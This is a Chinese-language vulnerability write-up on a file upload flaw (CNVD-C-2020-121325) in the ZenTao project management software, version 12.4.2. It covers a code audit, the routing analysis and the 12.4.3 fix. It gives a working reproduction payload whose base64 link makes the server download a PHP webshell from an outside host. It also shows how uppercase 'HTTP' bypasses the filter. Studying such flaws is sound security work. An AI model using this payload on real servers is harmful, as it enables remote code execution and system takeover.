CNVD-C-2020-121325:禅道后台文件上传漏洞分析与复现

漏洞详情

禅道项目管理软件12.4.2版本存在后台任意文件上传漏洞

禅道已在12.4.3版本中修复该漏洞。

代码审计

对比12.4.212.4.3的源代码发现/module/client/ext/model/xuanxuan.php路径增加了文件上传后缀的限制。

找到12.4.2版本中的对应文件,通过base64解码link,之后正则匹配是否有http(s)://(因为没有匹配大小写,利用可使用HTTP绕过),如果存在就返回false,检查无误会调用父类中的downloadZipPackage函数。

找到父类定义的函数/module/client/model.php中的downloadZipPackage,这个函数通过fopen远程打开$link链接的文件内容,并写入/www/data/client/$version/路径中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* Download zip package.
* @param $version
* @param $link
* @return bool | string
*/
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();

$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}

查找downloadZipPackage函数的调用,在/module/client/control.php文件download函数中存在调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Download remote package.
* @param string $version
* @param string $link
* @param string $os
* @return string
*/
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
}

接着就是找对应的函数入口,对禅道的路由解析做分析,framework/base/router.class.phpsetRouteByGET函数中将get请求中的数据按照config中对应的字段解析成模块名和方法名。

之后是方法的传参,framework/base/router.class.php中的loadModule函数,将方法中存在的参数提取出来,储存变量$defaultParams

然后通过setParamsByGET函数将$defaultParams$_GET中的变量合并,存入$this->params

最后通过call_user_func_array(array($module, $methodName), $this->params);调用方法。

漏洞复现

根据上面的分析,可以确定漏洞的入口为m=client&f=download,然后就是构造download函数的参数。

$version参数可以随便填写,和最后的路径相关。

起一个http服务用来放我们要上传的文件,$link参数需要用HTTP绕过正则匹配,然后base64编码。

最后的payload为m=client&f=download&version=233&link=SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw

访问/www/data/233/shell.php即可getshell。

漏洞修复

(升级12.4.3版本=。=

若无法升级,可以参考12.4.3版本代码,

1
2
3
4
5
6
7
8
9
10
11
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;

$file = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;

return parent::downloadZipPackage($version, $link);
}

总结(吐槽

总体来讲是一次简单的代码审计,这次的漏洞的功能点是客户端下载功能没有做好过滤,导致可以远程下载任意文件,但是这个功能点反倒不能正常使用。。。。

在后台客户端更新当中,url是从更新api获取的,http://xxxxxxx,因为有http://所以在12.4.2版本中是无法使用的,会被正则匹配到,返回false。

在12.4.3版本中正则判断加了取反,但是在下面后缀名匹配的时候,直接用了$link变量,而$link是base64编码之后的url,取后缀只能取到base64的字符串,怎么样都过不去后缀检测。。。

其他入口

看漏洞预警时发现漏洞入口不太一样,后来看到禅道 <= 12.4.2 后台文件上传漏洞(CNVD-C-2020-121325),发现禅道还有另一套路由机制,/framework/router.class.php->setFlowURI(),可以通过/model-function-params-1.html的方式来访问相应的模块方法。即payload为/client-download-233-SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw-1.html